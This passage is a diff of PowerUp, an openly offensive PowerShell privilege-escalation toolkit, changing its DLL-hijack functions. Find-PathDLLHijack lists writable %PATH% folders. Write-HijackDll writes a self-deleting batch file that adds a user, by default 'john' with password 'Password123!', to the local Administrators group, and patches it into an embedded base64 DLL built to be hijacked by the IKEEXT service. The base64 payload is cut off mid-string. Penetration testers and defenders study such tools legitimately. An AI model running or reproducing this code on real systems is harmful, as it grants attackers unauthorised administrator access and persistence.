if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { + if ($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { $Exclude = $True } - if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { + if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { $Exclude = $True } - if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { + if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { $Exclude = $True } @@ -2418,6 +2927,7 @@ function Find-ProcessDLLHijack { $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process') $Out } } @@ -2434,42 +2944,49 @@ function Find-ProcessDLLHijack { function Find-PathDLLHijack { <# - .SYNOPSIS +.SYNOPSIS - Finds all directories in the system %PATH% that are modifiable by the current user. +Finds all directories in the system %PATH% that are modifiable by the current user. - Author: @harmj0y - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath - .DESCRIPTION +.DESCRIPTION - Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath - to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is - written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search - order loading. +Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath +to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is +written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search +order loading. - .EXAMPLE +.EXAMPLE - PS C:\> Find-PathDLLHijack +Find-PathDLLHijack - Finds all %PATH% .DLL hijacking opportunities. +Finds all %PATH% .DLL hijacking opportunities. - .LINK +.OUTPUTS - http://www.greyhathacker.net/?p=738 +PowerUp.HijackableDLL.Path + +.LINK + +http://www.greyhathacker.net/?p=738 #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.HijackableDLL.Path')] [CmdletBinding()] Param() - # use -LiteralPaths so the spaces in %PATH% folders are not tokenized + # use -Literal so the spaces in %PATH% folders are not tokenized Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { $TargetPath = $_ - - $ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')} - ForEach($ModifidablePath in $ModifidablePaths) { - if($ModifidablePath.ModifiablePath -ne $Null) { + $ModifidablePaths = $TargetPath | Get-ModifiablePath -Literal | Where-Object {$_ -and ($Null -ne $_) -and ($Null -ne $_.ModifiablePath) -and ($_.ModifiablePath.Trim() -ne '')} + ForEach ($ModifidablePath in $ModifidablePaths) { + if ($Null -ne $ModifidablePath.ModifiablePath) { $ModifidablePath | Add-Member Noteproperty '%PATH%' $_ + $ModifidablePath.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Path') $ModifidablePath } } @@ -2479,57 +2996,69 @@ function Find-PathDLLHijack { function Write-HijackDll { <# - .SYNOPSIS +.SYNOPSIS + +Patches in the path to a specified .bat (containing the specified command) into a +pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION - Patches in the path to a specified .bat (containing the specified command) into a - pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. +First builds a self-deleting .bat file that executes the specified -Command or local user, +to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled +C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for +x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then +written out to the specified OutputFile. - .DESCRIPTION +.PARAMETER DllPath - First builds a self-deleting .bat file that executes the specified -Command or local user, - to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled - C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for - x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then - written out to the specified OutputFile. +File name to write the generated DLL out to. - .PARAMETER DllPath +.PARAMETER Architecture - File name to write the generated DLL out to. +The Architecture to generate for the DLL, x86 or x64. If not specified, PowerUp +will try to automatically determine the correct architecture. - .PARAMETER Architecture +.PARAMETER BatPath - The Architecture to generate for the DLL, x86 or x64. If not specified, PowerUp - will try to automatically determine the correct architecture. +Path to the .bat for the DLL to launch. - .PARAMETER BatPath +.PARAMETER UserName - Path to the .bat for the DLL to launch. +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. - .PARAMETER UserName +.PARAMETER Password - The [domain\]username to add. If not given, it defaults to "john". - Domain users are not created, only added to the specified localgroup. +The password to set for the added user. If not given, it defaults to "Password123!" - .PARAMETER Password +.PARAMETER LocalGroup - The password to set for the added user. If not given, it defaults to "Password123!" +Local group name to add the user to (default of 'Administrators'). - .PARAMETER LocalGroup +.PARAMETER Credential - Local group name to add the user to (default of 'Administrators'). +A [Management.Automation.PSCredential] object specifying the user/password to add. - .PARAMETER Credential +.PARAMETER Command - A [Management.Automation.PSCredential] object specifying the user/password to add. +Custom command to execute instead of user creation. - .PARAMETER Command +.OUTPUTS - Custom command to execute instead of user creation. +PowerUp.HijackableDLL #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.HijackableDLL')] [CmdletBinding()] - param( - [Parameter(Mandatory=$True)] + Param( + [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $DllPath, @@ -2552,7 +3081,8 @@ function Write-HijackDll { $LocalGroup = 'Administrators', [Management.Automation.PSCredential] - $Credential, + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, [String] [ValidateNotNullOrEmpty()] @@ -2561,34 +3091,35 @@ function Write-HijackDll { function local:Invoke-PatchDll { <# - .SYNOPSIS + .SYNOPSIS - Helpers that patches a string in a binary byte array. + Helpers that patches a string in a binary byte array. - .PARAMETER DllBytes + .PARAMETER DllBytes - The binary blob to patch. + The binary blob to patch. - .PARAMETER SearchString + .PARAMETER SearchString - The string to replace in the blob. + The string to replace in the blob. - .PARAMETER ReplaceString + .PARAMETER ReplaceString - The string to replace SearchString with. + The string to replace SearchString with. #> + [OutputType('System.Byte[]')] [CmdletBinding()] - param( - [Parameter(Mandatory=$True)] + Param( + [Parameter(Mandatory = $True)] [Byte[]] $DllBytes, - [Parameter(Mandatory=$True)] + [Parameter(Mandatory = $True)] [String] $SearchString, - [Parameter(Mandatory=$True)] + [Parameter(Mandatory = $True)] [String] $ReplaceString ) @@ -2599,7 +3130,7 @@ function Write-HijackDll { $S = [System.Text.Encoding]::ASCII.GetString($DllBytes) $Index = $S.IndexOf($SearchString) - if($Index -eq 0) { + if ($Index -eq 0) { throw("Could not find string $SearchString !") } @@ -2610,11 +3141,11 @@ function Write-HijackDll { return $DllBytes } - if($PSBoundParameters['Command']) { + if ($PSBoundParameters['Command']) { $BatCommand = $Command } else { - if($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Credential']) { $UserNameToAdd = $Credential.UserName $PasswordToAdd = $Credential.GetNetworkCredential().Password } @@ -2623,7 +3154,7 @@ function Write-HijackDll { $PasswordToAdd = $Password } - if($UserNameToAdd.Contains('\')) { + if ($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation $BatCommand = "net localgroup $LocalGroup $UserNameToAdd /add" } @@ -2637,24 +3168,24 @@ function Write-HijackDll { $DllBytes32 = "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